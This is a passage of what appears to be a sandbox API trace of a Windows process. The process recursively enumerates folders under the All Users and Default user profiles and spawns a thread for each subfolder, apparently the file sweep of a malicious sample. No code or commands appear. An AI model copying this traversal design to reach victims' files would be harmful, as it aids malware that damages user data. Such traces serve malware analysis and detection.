returned="C:\\Users\\All Users\\" [0085.962] wcscat (in: _Dest=0x1b7d7fc0, _Source="Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0085.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0085.962] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0085.962] wcscmp (_String1="Package Cache", _String2=".") returned 1 [0085.962] wcscmp (_String1="Package Cache", _String2="..") returned 1 [0085.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c440 [0085.962] wcscpy (in: _Dest=0x1b82c440, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.962] wcscat (in: _Dest=0x1b82c440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.962] wcscat (in: _Dest=0x1b82c440, _Source="Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0085.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0085.963] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0085.963] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0085.963] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0085.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c490 [0085.963] wcscpy (in: _Dest=0x1b82c490, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.963] wcscat (in: _Dest=0x1b82c490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.964] wcscat (in: _Dest=0x1b82c490, _Source="Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0085.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0085.965] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0085.965] wcscmp (_String1="Sun", _String2=".") returned 1 [0085.965] wcscmp (_String1="Sun", _String2="..") returned 1 [0085.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d7f00 [0085.965] wcscpy (in: _Dest=0x1b7d7f00, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.965] wcscat (in: _Dest=0x1b7d7f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.965] wcscat (in: _Dest=0x1b7d7f00, _Source="Sun" | out: _Dest="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun" [0085.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0085.966] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0085.966] wcscmp (_String1="Templates", _String2=".") returned 1 [0085.966] wcscmp (_String1="Templates", _String2="..") returned 1 [0085.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c4e0 [0085.966] wcscpy (in: _Dest=0x1b82c4e0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.966] wcscat (in: _Dest=0x1b82c4e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.967] wcscat (in: _Dest=0x1b82c4e0, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0085.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0085.967] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0085.967] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d80c0) returned 1 [0085.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4e0) returned 1 Thread: id = 135 os_tid = 0xaf0 [0085.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a4b0 [0085.970] wcscpy (in: _Dest=0x1b82a4b0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.971] wcscat (in: _Dest=0x1b82a4b0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.971] wcscat (in: _Dest=0x1b82a4b0, _Source="*" | out: _Dest="C:\\Users\\Default\\*") returned="C:\\Users\\Default\\*" [0085.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.971] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.971] wcscmp (_String1=".", _String2=".") returned 0 [0085.971] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.971] wcscmp (_String1="..", _String2=".") returned 1 [0085.971] wcscmp (_String1="..", _String2="..") returned 0 [0085.971] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0085.971] wcscmp (_String1="AppData", _String2=".") returned 1 [0085.971] wcscmp (_String1="AppData", _String2="..") returned 1 [0085.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d80c0 [0085.972] wcscpy (in: _Dest=0x1b7d80c0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.972] wcscat (in: _Dest=0x1b7d80c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.972] wcscat (in: _Dest=0x1b7d80c0, _Source="AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0085.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d80c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0085.972] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0085.972] wcscmp (_String1="Application Data", _String2=".") returned 1 [0085.973] wcscmp (_String1="Application Data", _String2="..") returned 1 [0085.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c530 [0085.973] wcscpy (in: _Dest=0x1b82c530, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.973] wcscat (in: _Dest=0x1b82c530, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.973] wcscat (in: _Dest=0x1b82c530, _Source="Application Data" | out: _Dest="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0085.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0085.973] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0085.973] wcscmp (_String1="Contacts", _String2=".") returned 1 [0085.973] wcscmp (_String1="Contacts", _String2="..") returned 1 [0085.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d7ec0 [0085.973] wcscpy (in: _Dest=0x1b7d7ec0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.974] wcscat (in: _Dest=0x1b7d7ec0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.974] wcscat (in: _Dest=0x1b7d7ec0, _Source="Contacts" | out: _Dest="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0085.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0085.974] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0085.974] wcscmp (_String1="Cookies", _String2=".") returned 1 [0085.974] wcscmp (_String1="Cookies", _String2="..") returned 1 [0085.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7f40 [0085.974] wcscpy (in: _Dest=0x1b7d7f40, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.974] wcscat (in: _Dest=0x1b7d7f40, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.974] wcscat (in: _Dest=0x1b7d7f40, _Source="Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0085.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0085.975] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0085.975] wcscmp (_String1="Desktop", _String2=".") returned 1 [0085.975] wcscmp (_String1="Desktop", _String2="..") returned 1 [0085.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d8140 [0085.975] wcscpy (in: _Dest=0x1b7d8140, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.975] wcscat (in: _Dest=0x1b7d8140, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.975] wcscat (in: _Dest=0x1b7d8140, _Source="Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0085.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0085.976] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0085.976] wcscmp (_String1="Documents", _String2=".") returned 1 [0085.976] wcscmp (_String1="Documents", _String2="..") returned 1 [0085.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8180 [0085.976] wcscpy (in: _Dest=0x1b7d8180, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.976] wcscat (in: _Dest=0x1b7d8180, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.976] wcscat (in: _Dest=0x1b7d8180, _Source="Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0085.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0085.977] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0085.977] wcscmp (_String1="Downloads", _String2=".") returned 1 [0085.977] wcscmp (_String1="Downloads", _String2="..") returned 1 [0085.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d81c0 [0085.977] wcscpy (in: _Dest=0x1b7d81c0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.977] wcscat (in: _Dest=0x1b7d81c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.978] wcscat (in: _Dest=0x1b7d81c0, _Source="Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0085.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d81c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0085.978] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0085.978] wcscmp (_String1="Favorites", _String2=".") returned 1 [0085.978] wcscmp (_String1="Favorites", _String2="..") returned 1 [0085.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8200 [0085.978] wcscpy (in: _Dest=0x1b7d8200, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.978] wcscat (in: _Dest=0x1b7d8200, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.978] wcscat (in: _Dest=0x1b7d8200, _Source="Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0085.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0085.979] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0085.979] wcscmp (_String1="Links", _String2=".") returned 1 [0085.979] wcscmp (_String1="Links", _String2="..") returned 1 [0085.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8240 [0085.980] wcscpy (in: _Dest=0x1b7d8240, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.980] wcscat (in: _Dest=0x1b7d8240, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.980] wcscat (in: _Dest=0x1b7d8240, _Source="Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0085.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0085.981] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0085.981] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0085.981] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0085.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0085.981] wcscpy (in: _Dest=0x1b82c580, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.981] wcscat (in: _Dest=0x1b82c580, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.981] wcscat (in: _Dest=0x1b82c580, _Source="Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0085.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0085.982] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0085.982] wcscmp (_String1="Music", _String2=".") returned 1 [0085.982] wcscmp (_String1="Music", _String2="..") returned 1 [0085.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8280 [0085.982] wcscpy (in: _Dest=0x1b7d8280, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.982] wcscat (in: _Dest=0x1b7d8280, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.982] wcscat (in: _Dest=0x1b7d8280, _Source="Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0085.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0085.983] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0085.983] wcscmp (_String1="My Documents", _String2=".") returned 1 [0085.983] wcscmp (_String1="My Documents", _String2="..") returned 1 [0085.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c5d0 [0085.983] wcscpy (in: _Dest=0x1b82c5d0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.983] wcscat (in: _Dest=0x1b82c5d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.983] wcscat (in: _Dest=0x1b82c5d0, _Source="My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0085.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c5d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0085.984] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0085.984] wcscmp (_String1="NetHood", _String2=".") returned 1 [0085.984] wcscmp (_String1="NetHood", _String2="..") returned 1 [0085.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 